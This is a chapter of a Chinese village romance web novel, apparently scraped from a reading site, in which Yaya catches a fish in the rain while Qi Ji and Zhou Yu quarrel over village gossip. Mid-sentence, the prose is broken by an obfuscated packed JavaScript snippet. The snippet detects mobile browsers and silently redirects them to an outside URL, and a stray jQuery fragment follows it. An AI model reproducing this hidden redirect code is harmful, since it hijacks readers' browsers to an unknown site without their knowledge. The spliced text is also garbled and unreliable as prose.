25. 立夏

作品:《小稻芽

    立夏之后,雨水就多起来了,尤其是晋州这样的地方,就像提前进入了梅雨季,连空气都是潮湿的。


    齐霁的伤口虽然已经开始结痂了,但估计也是因为这连绵不断的雨,伤口突然发了炎,他发了高热,躺在床上,养了三天才勉强养好。


    今日难得雨停,芽芽被王婶子拉去捞鱼,于是就留下齐霁和周玉在家里,让他们中午先凑合着吃点,等晚上她回来给他们带草鱼。


    桥头庄东边有一片不小的野荷塘,每次一入夏,整个荷塘都长满了大片大片绿油油的荷叶,王婶子就拉着她一起去塘里捞鱼,池塘水不深,又因为连日下雨,所以这时池塘里的鱼最好抓,每次都能满载而归。


    午后吃过了饭,天边似乎隐隐又聚拢了一小片阴云,齐霁练字练的也有些失神,几乎每写一个字,就要抬头看看窗外。


    “你不想学就说,明日我不来了便是。”


    周玉慢条斯理的翻着书,一个眼神都懒得给他。


    齐霁抿了抿唇,目光略过草纸上那些写了一遍又一遍的字,最终落在了还在认真看书的周玉身上,似是无意地开口:“应该……要下雨了呢。”


    周玉被他这么一提醒,也抬头看向窗外。


    天色不知道什么时候又阴沉了下去,看着,确实有要下雨的阵势。


    他将手里的书合上,清了清嗓子。


    “那我去给芽芽送伞,你看家吧。”


    少年说着便站起身,拿起角落的伞就朝院外走去,见他要走,齐霁也不敢犹豫,亦步亦趋的跟在他身后。


    “我跟你一道去吧。”


    怎么说,他也是芽芽的丈夫,要别的男人给他妻子送伞算个什么事……


    听见齐霁的话,周玉倒也没阻止,只是轻轻扫了一眼他受伤的那条腿,齐霁察觉到他的视线,立马将左腿往身后藏了藏,嘴唇绷得紧紧的,抿成了一条直线。


    自己要跟着的,再发高热了可别赖他。


    周玉收回视线,有些轻蔑的勾了勾唇,把手里的伞递给他,往旁边让了半步。


    “你先请。”


    齐霁腿伤还没好全,自然走得也是极慢的,周玉有好几次都要超过他,他就硬是咬咬牙往前快走好几步,吓得周玉都不敢走了,两个人在一条路上磨蹭着走了好一会儿,等到荷塘的时候,天上已经开始下小雨了。


    陆陆续续有几个乡亲提着鱼上了岸准备回家了,路过齐霁的时候,无不驻足打量他,有的胆小的,则是一边走一边跟周围的人窃窃私语,像是看见了什么稀罕物。


    “诶,就是他哩,喔呦长的跟个瓷娃娃似的,啧啧啧……”


    “我怎么听说他是芽芽刚过门的相公哩,听说是芽芽从别的村招来当赘婿的……”


    “啧啧啧,芽芽这丫头好福气哩,找了个这么周正的,将来生出来的小孩指定也漂亮……”


    正处在风口浪尖的齐霁倒是对自己的情况全然不知,他一心一意的在偌大的荷塘里用目光搜寻着芽芽的身影,反倒是一旁的周玉听不下去了,转过头就和那些要走不走还在嚼舌根的乡亲们理论起来。


    “说什么呢!能不能别传谣了!什么赘婿不赘婿的!他就只是暂时在这儿养伤而已!芽芽和他半毛钱关系都没有!”


    几个婶子本来还只是小声议论一下,没成想齐霁这么大的反应。


    其中一个裹着红布头巾的妇人带着调侃的眼神瞥了他一眼,笑道:“哎呦周哥儿,我们也就随便说说,你说你动那么大火气干嘛,真是的……”


    另一个脸上长满麻子的妇人则是站了出来,附和着拍了拍周玉的肩膀。


    “就是嘛,莫生气嘛,这有什么好……”


    少年气的恨不得满面赤红,直接把她的手挥开了:“谁跟你们说的芽芽成亲了?有证据吗你们就在这儿乱说?!”


    “有证据吗你们?!”


    周玉又问。


    几个婶子面面相觑,顿时噤了声,也没了兴致,互相打趣着走了。


    “你说说……这孩子咋这么较真……”


    “可不是嘛……王婶子都说她亲自去问的,俩人早搁外村私定终身了,到底是没爹妈教养的野丫头,说起来都怕羞……”


    “哎呦可快别说了,周哥儿估计心里正难受呢!要我说,他这几年‘护花使者’倒是白当了,也没把人看住啊!”


    “哈哈哈哈哈哈哈哈……”


    周玉看着她们离去的背影,半晌,捏在身侧的拳头缓缓松开了,只觉得一阵无力。


    就说了,这种穷乡僻壤,唾沫星子能淹死人,他真是太讨厌,太讨厌这个地方了。


    雨渐渐大了,周玉抖了抖沾上潮气的宽袖,回过头,就发现不远处,芽芽不知什么时候上岸了,正提着一条足足有她半人高的鱼,双眼亮晶晶的向齐霁炫耀着。


    齐霁一边点着头,一边慌里慌张的撑开伞,撑在二人头顶,应该也是笑着的吧。


    这样看来,两人还真登对,仿佛真的是一对……新婚夫妻。


    可曾几何时,芽芽也像这样眨巴着亮晶晶的眼睛看着他,嘴巴喋喋不休的讲些什么。


    那时,她的眼里只有他一个人。


    周玉长长的吸了一口气,只觉得这连绵不绝的潮湿几乎密密麻麻的卷进肺里,令他一度难以呼吸。


    他垂下双眸,什么也没说,默默转过身,走了。


    “恁咋还来接俺呀?腿伤怎么样?走过来这么远,疼不疼?伤口别又裂了!”


    芽芽一手抓着湿黏黏的鱼尾,本来还想蹲下身去看看齐霁的伤口,可一低头她便看见自己扒满淤泥的裤腿和双脚,她顿时觉得脸烧了起来,往后退了半步。


    “先回去再说,俺现在身上脏着,别把恁衣裳也搞脏了。”


    齐霁来到桥头庄以后,穿的都是爷爷的旧衣裳,说实话,款式都老气横秋的,不咋好看,但不知为何,一穿在齐霁身上,那些打满补丁的衣裳也显出一番别样的韵味来,莫名的让芽芽生出了些奇怪的思绪,她觉得齐霁就应该始终都干干净净,漂漂亮亮的。


    这就像小时候被爷爷带着进到一家成衣铺子,她当然会喜欢那些颜色鲜艳,款式复杂的裙子,但转念一想自己待不住的性格,就会立马选择那些灰扑扑的,耐脏的衣裳和裤子。


    虽然一开始她收留齐霁的本意,除了那张过分漂亮的脸外,也是想留下个男人帮自己干活的,但不知为何,最近看他乖乖的帮自己擦桌子收拾碗筷,芽芽又会舍不得。


    她现在觉得,齐霁还是适合读读书,写写字,这样就很好,她会努力养他的,毕竟,他们现在是夫妻。


    想到这儿,芽芽抿了抿唇,抬脚又要朝雨里走。


    “不脏的。”


    齐霁连忙抓住她的袖角,将她拉回了伞下,重复道。


    “不脏的,不要淋雨,会感冒。”


    少年虽然嘴上像只是单纯的提醒她一句,手却抓的极紧,芽芽怔愣了一瞬,便也没再说什么,乖乖躲回伞下,却还是和少年保持着一个拳头的距离。


    尽管齐霁大部分时间都很好说话,但偶尔,也会表现出固执的一面,芽芽隐约觉得,如果她执意要继续走,那么齐霁会立马放下伞,和她一起淋雨的。


    这么一想,芽芽还是败下阵来了。


    雨点啪嗒啪嗒的,鼓点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840367|171386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    似的砸在伞上,雨还在下,空气却依然沉闷的很,没走多远,齐霁捏着伞柄的手已经沁出了一层薄汗,他一边走,一边还暗戳戳的把伞朝着芽芽的方向倾斜一点,芽芽注意到他伞柄斜了,又会很好心的帮他扶正。


    “对了,小玉嘞?没和恁一块儿来啊?”


    芽芽这一提醒,齐霁才想起来跟在自己身后给自己指了半天路的周玉,顿时有些尴尬:“啊,小玉哥…本来是和我一起来的,但过来的时候好像和乡亲们聊天去了,他没拿多的伞,雨下大了,应该自己先回去了吧?”


    “喔,这样啊……”


    芽芽点了点头,没太在意。


    两人走到家里的时候,已经临近傍晚了,齐霁收了伞,主动把鱼提去放到灶房,芽芽打了点水来简单冲了冲裤腿上的淤泥,就进了里屋。


    更衣完毕,她又梳理了一下乱糟糟的头发,确认镜子里的自己没那么狼狈之后,转过身,正要推门而出,目光却被桌子上放着的布包吸引住了。


    那是一个靛蓝色的麻布包,似乎用的有些久,料子都发黄了,但洗的很干净,布包右下角还绣着一个歪歪扭扭的太阳花,走线十分的潦草。


    那是周玉的包,那朵太阳花,是她亲手绣上去的。


    芽芽走过去,将布包拿起来,捧在手心里。


    她小的时候很皮,还在学堂念书那会儿,有一次拉着周玉一起逃课,两个小孩从学堂后院墙下的狗洞里爬出来,周玉的书包一不小心挂在了上面,扯了一个洞,那个书包是周娘亲手给他做的,他才用了不到一周。


    小男孩当即就抱着自己的书包嚎啕大哭起来,说什么也不愿意和芽芽走了,哭声很快就把先生引了过来,罚他们两个一人抄了十遍的《三字经》,还领了十个手板。


    下了学之后,周玉气的把破掉的书包丢给她,说以后再也不和她玩儿了,就抽噎着抱着自己的书回家了。


    芽芽当时也哭的很惨,肿着两只核桃一样的眼睛回家,把许东吓得不轻,忙抱着她问她怎么了,她把事情原委说清楚,许东却哈哈大笑起来,她立马委屈的抱着破书包回了房,手心都肿着,还是连夜绣了朵丑丑的太阳花上去,勉强把包修补好了。


    第二天,她把修好的包拿去给周玉赔罪,周玉才算原谅了她。


    长大之后,她就没见过周玉背这个包了,她还以为早就被周玉丢了,怎么最近又开始背了?


    芽芽捏着手里的布包嘟囔了两句,恰好此时,门外响起了齐霁的声音。


    “芽芽,你好了吗?”


    “好了,这就出来!”


    芽芽拿起包,推开房门,齐霁正乖乖的站在房门口,见她出来,眼睛一亮:“芽芽,我把鱼放到盆子里用水泡着了,我们今天晚上…吃它?”


    “嗯……”


    芽芽垂眸思索了一下,没有回答。


    说好的到时候回来给他们带鱼的,但今儿运气不好,她又有点贪心,捞到了那一条大的,一不小心就让其他小的从手里溜走了,周玉白教齐霁写字这么些天,她连个谢礼都没给过,反而一直是周玉给她捎吃的,芽芽心里难免有些过意不去。


    少女略带歉意的看向面前的人,嗫嚅了半晌,才开口道:“俺寻思着,要不把这条鱼,送给小玉吧…?”


    “啊……”


    本来还以为齐霁会不愿意,谁成想,少年只是稍稍一愣,就点点头答应下来:“当然可以,这些天我也麻烦了小玉哥很多,送条鱼也是应该的。”


    听见他这么说,芽芽便放下心来,也跟着点点头,笑道:“嗯,那明儿俺就送鱼去,小玉哥的包还落下了,到时也给一道捎过去。”